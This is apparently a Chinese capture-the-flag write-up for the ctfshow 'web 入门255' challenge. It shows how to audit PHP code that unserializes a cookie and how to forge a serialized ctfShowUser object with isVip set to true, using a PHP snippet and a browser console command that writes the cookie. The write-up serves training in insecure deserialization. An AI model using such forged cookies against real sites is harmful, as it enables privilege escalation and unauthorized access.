ctf show web 入门255

通过代码审计可以知道本题的核心在于,把cookie的值进行反序列化,然后判断cookie反序列化后的值是不是从url中get到的username和password的值,并且判断该user是否为vip,只有都满足时才会执行$user->vipOneKeyGetFlag(); 并返回flag

,

我们可以url中输入?username=xxxxxx&password=xxxxxx

然后来传递cookie值使其满足条件

我们先按f12打开开发者工具点击存储

并添加一个cookie

我们将名称改为user

然后我们该对cookie的值也进行修改,可以在本地写一段 PHP 代码来生成恶意的序列化字符串

php 复制代码
<?php
class ctfShowUser{
    public $username='admin'; // 自定义用户名
    public $password='admin'; // 自定义密码
    public $isVip=true;       // 强行修改为 true!
}

$a = new ctfShowUser();
echo serialize($a); 
// 输出结果类似于:O:11:"ctfShowUser":3:{s:8:"username";s:5:"admin";s:8:"password";s:5:"admin";s:5:"isVip";b:1;}
?>

我们这里可以使用在线工具来进行构造

当我们想修改cookie的值是会出现错误

这是因为生成的 PHP 序列化字符串中包含了一些特殊符号(比如双引号 "、分号 ;、花括号 {} 等)。有些浏览器或开发者工具插件在直接通过表格双击修改 Cookie 值时,会因为 RFC 规范或安全策略限制,不允许输入这些未经处理的字符,从而导致写入失败。

既然通过可视化界面的"双击修改"被拦截了,我们可以使用以下两种更底层、更高效的方式将 Payload 塞进去:

在控制台用 JavaScript 写入并进行 URL 编码

直接在表格里改容易因为特殊字符报错,我们可以让浏览器把这一串字符先编码(URL Encode)再存入。浏览器对编码后的安全字符是绝对不会拦截的。

在当前题目页面打开 F12,把选项卡从"存储/Application"切换到 "控制台" (Console)

输入document.cookie = "user=" + encodeURIComponent('O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:1;}');

此时我们再次查看cookie时,值就已经被修改 好了

此时再次按下回车键flag就出来了

相关推荐
wespaul6 小时前
VeapAI 自然语言操作实战|第 06 篇:AiConsole 前端运行时——一个 Hub,八个注册表
前端·人工智能·milvus
龙亘川6 小时前
健康服务规范化背后,数字化如何 “辅助赋能“
大数据·前端·人工智能·智慧城市·数据可视化
2501_915921436 小时前
iOS应用从开发到上架App Store的完整步骤详解
android·ios·小程序·https·uni-app·iphone·webview
data analyse 4566 小时前
SourceMap 上传版本与报错版本对不上?版本校验与错误还原设计
大数据·前端·人工智能·数据分析
我命由我123456 小时前
准入类与水平类职业资格
笔记·学习·职场和发展·产品运营·求职招聘·职场发展·产品经理
He BianGu6 小时前
【笔记】在WPF中BitmapScalingMode的作用
笔记·wpf
前端双越老师6 小时前
程序员 1v1 访谈系列第三期:先不要想在工作中有突破
前端·ai编程·全栈
小羊没烦恼!6 小时前
浅谈SQL Server中的事务日志(二)----事务日志在修改数据时的角色
前端·数据库·后端·python·web安全·oracle
HackTwoHub6 小时前
免 Root 安卓渗透工具 Stryker|把 Kali 装进手机!随身无线渗透工作站,内置 Nmap/Nuclei/Metasploit 全套武器库
android·linux·运维·人工智能·web安全·macos·智能手机
myaifas7 小时前
新人的第一个任务该怎么选
前端·产品经理